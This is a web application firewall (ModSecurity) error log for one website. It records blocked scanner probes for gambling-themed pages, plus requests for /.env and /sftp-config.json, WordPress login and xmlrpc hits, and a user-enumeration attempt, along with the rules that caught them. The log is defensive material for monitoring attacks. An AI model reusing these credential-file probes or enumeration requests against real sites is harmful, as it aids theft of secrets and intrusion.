[Tue Mar 03 14:31:00.652882 2026] [:error] [pid 36897:tid 36902] [client 88.89.67.172:38466] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aaaAJCZC69_8eM0UouuixAAAAMA"]
[Tue Mar 03 14:31:01.764862 2026] [:error] [pid 36784:tid 36845] [client 147.135.213.153:45756] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aaaAJXNeKOSGbW9kDgRT8AAAAFY"]
[Tue Mar 03 14:31:02.633585 2026] [:error] [pid 36897:tid 36912] [client 88.89.67.172:38482] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aaaAJiZC69_8eM0UouuiyQAAAMo"]
[Tue Mar 03 14:31:03.782853 2026] [:error] [pid 36785:tid 36867] [client 147.135.213.153:45764] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aaaAJ3hJejauENG9qTgKzQAAAJE"]
[Tue Mar 03 14:31:04.610703 2026] [:error] [pid 36784:tid 36832] [client 88.89.67.172:38488] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aaaAKHNeKOSGbW9kDgRT8wAAAEk"]
[Tue Mar 03 14:31:05.816224 2026] [:error] [pid 26186:tid 26192] [client 147.135.213.153:45778] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aaaAKfbZCNtk8wDak9eVbQAAAUQ"]
[Tue Mar 03 14:31:06.442442 2026] [:error] [pid 20872:tid 20893] [client 88.89.67.172:34576] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aaaAKolYbNk3E_3CgBgSyQAAARM"]
[Tue Mar 03 14:31:07.683441 2026] [:error] [pid 36785:tid 36855] [client 147.135.213.153:45788] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aaaAK3hJejauENG9qTgK1wAAAIU"]
[Tue Mar 03 14:31:08.430439 2026] [:error] [pid 36784:tid 36838] [client 88.89.67.172:34590] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aaaALHNeKOSGbW9kDgRT_AAAAE8"]
[Tue Mar 03 14:31:09.713238 2026] [:error] [pid 36785:tid 36852] [client 147.135.213.153:43492] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaaALXhJejauENG9qTgK3QAAAII"]
[Tue Mar 03 14:31:11.028305 2026] [:error] [pid 36785:tid 36854] [client 88.89.67.172:34596] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aaaAL3hJejauENG9qTgK5AAAAIQ"]
[Tue Mar 03 14:31:45.160054 2026] [:error] [pid 62485:tid 62510] [client 147.135.213.153:43494] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aaaAUf9R7DZ1ENjPMXRHPwAAAdU"]
[Tue Mar 03 14:31:47.156215 2026] [:error] [pid 36785:tid 36864] [client 147.135.213.153:57232] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aaaAU3hJejauENG9qTgLFQAAAI4"]
[Tue Mar 03 14:31:49.057088 2026] [:error] [pid 36897:tid 36906] [client 147.135.213.153:57236] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaaAVSZC69_8eM0UouujDgAAAMQ"]
[Tue Mar 03 14:31:50.981122 2026] [:error] [pid 36785:tid 36863] [client 147.135.213.153:50648] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aaaAVnhJejauENG9qTgLKAAAAI0"]
[Tue Mar 03 14:31:52.883212 2026] [:error] [pid 36897:tid 36904] [client 147.135.213.153:50654] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaaAWCZC69_8eM0UouujFAAAAMI"]
[Tue Mar 03 14:31:54.775005 2026] [:error] [pid 36784:tid 36837] [client 147.135.213.153:50662] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aaaAWnNeKOSGbW9kDgRUNgAAAE4"]
[Tue Mar 03 14:31:56.697938 2026] [:error] [pid 36784:tid 36838] [client 147.135.213.153:50666] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaaAXHNeKOSGbW9kDgRUQAAAAE8"]
[Tue Mar 03 14:31:58.592752 2026] [:error] [pid 14042:tid 14068] [client 147.135.213.153:50670] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aaaAXmeHGCmSEiIBcK4sLwAAAZg"]
[Tue Mar 03 14:32:00.513056 2026] [:error] [pid 36784:tid 36827] [client 147.135.213.153:57778] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aaaAYHNeKOSGbW9kDgRURgAAAEQ"]
[Tue Mar 03 14:32:02.401276 2026] [:error] [pid 36784:tid 36834] [client 147.135.213.153:57784] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aaaAYnNeKOSGbW9kDgRUTwAAAEs"]
[Tue Mar 03 14:32:04.328204 2026] [:error] [pid 36785:tid 36855] [client 147.135.213.153:57792] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aaaAZHhJejauENG9qTgLMQAAAIU"]
[Tue Mar 03 14:32:06.365182 2026] [:error] [pid 36784:tid 36835] [client 147.135.213.153:57804] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aaaAZnNeKOSGbW9kDgRUYQAAAEw"]
[Tue Mar 03 14:32:08.420927 2026] [:error] [pid 36785:tid 36866] [client 147.135.213.153:57812] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaaAaHhJejauENG9qTgLPQAAAJA"]
[Tue Mar 03 14:32:10.471859 2026] [:error] [pid 36785:tid 36860] [client 147.135.213.153:56108] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aaaAanhJejauENG9qTgLRgAAAIo"]
[Tue Mar 03 14:32:12.382336 2026] [:error] [pid 36784:tid 36831] [client 147.135.213.153:56114] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aaaAbHNeKOSGbW9kDgRUeAAAAEg"]
[Tue Mar 03 14:32:14.310807 2026] [:error] [pid 36785:tid 36852] [client 147.135.213.153:56128] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aaaAbnhJejauENG9qTgLTQAAAII"]
[Tue Mar 03 14:32:16.213709 2026] [:error] [pid 36897:tid 36912] [client 147.135.213.153:56132] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aaaAcCZC69_8eM0UouujMgAAAMo"]
[Tue Mar 03 14:32:18.117367 2026] [:error] [pid 36785:tid 36862] [client 147.135.213.153:56140] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaaAcnhJejauENG9qTgLXAAAAIw"]
[Tue Mar 03 14:32:19.990293 2026] [:error] [pid 36783:tid 36813] [client 147.135.213.153:42110] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aaaAcz4tNYh5NtLaTXdg6wAAABM"]
[Tue Mar 03 14:32:21.997282 2026] [:error] [pid 36784:tid 36835] [client 147.135.213.153:42122] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aaaAdXNeKOSGbW9kDgRUhwAAAEw"]
[Tue Mar 03 14:32:24.014675 2026] [:error] [pid 36785:tid 36860] [client 147.135.213.153:42130] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaaAeHhJejauENG9qTgLZwAAAIo"]
[Tue Mar 03 14:32:26.026918 2026] [:error] [pid 36784:tid 36832] [client 147.135.213.153:42142] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaaAenNeKOSGbW9kDgRUjAAAAEk"]
[Tue Mar 03 14:32:28.029488 2026] [:error] [pid 36785:tid 36872] [client 147.135.213.153:42158] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aaaAfHhJejauENG9qTgLeAAAAJY"]
[Tue Mar 03 14:32:30.031241 2026] [:error] [pid 36897:tid 36909] [client 147.135.213.153:42194] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aaaAfiZC69_8eM0UouujPQAAAMc"]
[Tue Mar 03 14:32:32.049069 2026] [:error] [pid 36783:tid 36794] [client 147.135.213.153:42200] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aaaAgD4tNYh5NtLaTXdg-gAAAAA"]
[Tue Mar 03 14:32:33.915711 2026] [:error] [pid 36784:tid 36834] [client 147.135.213.153:42216] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aaaAgXNeKOSGbW9kDgRUjwAAAEs"]
[Tue Mar 03 14:32:35.918259 2026] [:error] [pid 36897:tid 36907] [client 147.135.213.153:42232] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aaaAgyZC69_8eM0UouujUAAAAMU"]
[Tue Mar 03 14:32:37.923750 2026] [:error] [pid 26186:tid 26192] [client 147.135.213.153:42238] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aaaAhfbZCNtk8wDak9eVowAAAUQ"]
[Tue Mar 03 15:14:40.814071 2026] [:error] [pid 36784:tid 36840] [client 104.28.159.46:25472] [client 104.28.159.46] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aaaKYHNeKOSGbW9kDgRjjAAAAFE"]
[Tue Mar 03 15:55:39.247852 2026] [:error] [pid 36897:tid 36920] [client 64.227.173.127:65413] [client 64.227.173.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.173.127, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaaT-yZC69_8eM0UouvMEAAAANI"]
[Tue Mar 03 15:55:41.502662 2026] [:error] [pid 36897:tid 36923] [client 64.227.173.127:49683] [client 64.227.173.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.173.127, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaaT_SZC69_8eM0UouvMFQAAANU"]
[Tue Mar 03 16:11:26.437498 2026] [:error] [pid 36785:tid 36857] [client 24.98.60.173:60595] [client 24.98.60.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.98.60.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaaXrnhJejauENG9qThMEQAAAIc"]
[Tue Mar 03 18:44:48.852673 2026] [:error] [pid 36785:tid 36866] [client 43.131.26.226:38722] [client 43.131.26.226] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaa7oHhJejauENG9qTitjwAAAJA"]
[Tue Mar 03 19:53:39.646788 2026] [:error] [pid 36783:tid 36798] [client 170.106.180.139:59330] [client 170.106.180.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aabLwz4tNYh5NtLaTXev5wAAAAQ"]
[Tue Mar 03 21:34:21.860583 2026] [:error] [pid 36783:tid 36803] [client 24.98.60.173:56251] [client 24.98.60.173] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aabjXT4tNYh5NtLaTXfG3gAAAAk"]
[Tue Mar 03 21:35:16.663621 2026] [:error] [pid 14042:tid 14044] [client 24.98.60.173:57350] [client 24.98.60.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.98.60.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aabjlGeHGCmSEiIBcK568wAAAYA"]
[Tue Mar 03 21:36:08.946614 2026] [:error] [pid 20872:tid 20887] [client 24.98.60.173:58392] [client 24.98.60.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.98.60.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aabjyIlYbNk3E_3CgBg4kQAAAQ0"]
[Tue Mar 03 21:37:23.694268 2026] [:error] [pid 36783:tid 36814] [client 24.98.60.173:59683] [client 24.98.60.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.98.60.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aabkEz4tNYh5NtLaTXfHUQAAABQ"]
[Tue Mar 03 21:38:27.334476 2026] [:error] [pid 36785:tid 36870] [client 24.98.60.173:60628] [client 24.98.60.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.98.60.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aabkU3hJejauENG9qTj8EgAAAJQ"]
[Tue Mar 03 21:39:20.117178 2026] [:error] [pid 36783:tid 36817] [client 24.98.60.173:61197] [client 24.98.60.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.98.60.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aabkiD4tNYh5NtLaTXfHwwAAABc"]
[Tue Mar 03 22:11:33.638230 2026] [:error] [pid 36897:tid 36914] [client 178.16.53.90:59322] [client 178.16.53.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aabsFSZC69_8eM0UouufKAAAAMw"]
[Tue Mar 03 22:54:37.578400 2026] [:error] [pid 36897:tid 36911] [client 20.151.116.226:40276] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aab2LSZC69_8eM0Uouu36gAAAMk"]
[Tue Mar 03 22:54:38.423738 2026] [:error] [pid 36783:tid 36794] [client 20.151.116.226:40508] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aab2Lj4tNYh5NtLaTXfcHQAAAAA"]
[Tue Mar 03 22:54:39.310481 2026] [:error] [pid 36897:tid 36905] [client 20.151.116.226:40259] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aab2LyZC69_8eM0Uouu38QAAAMM"]
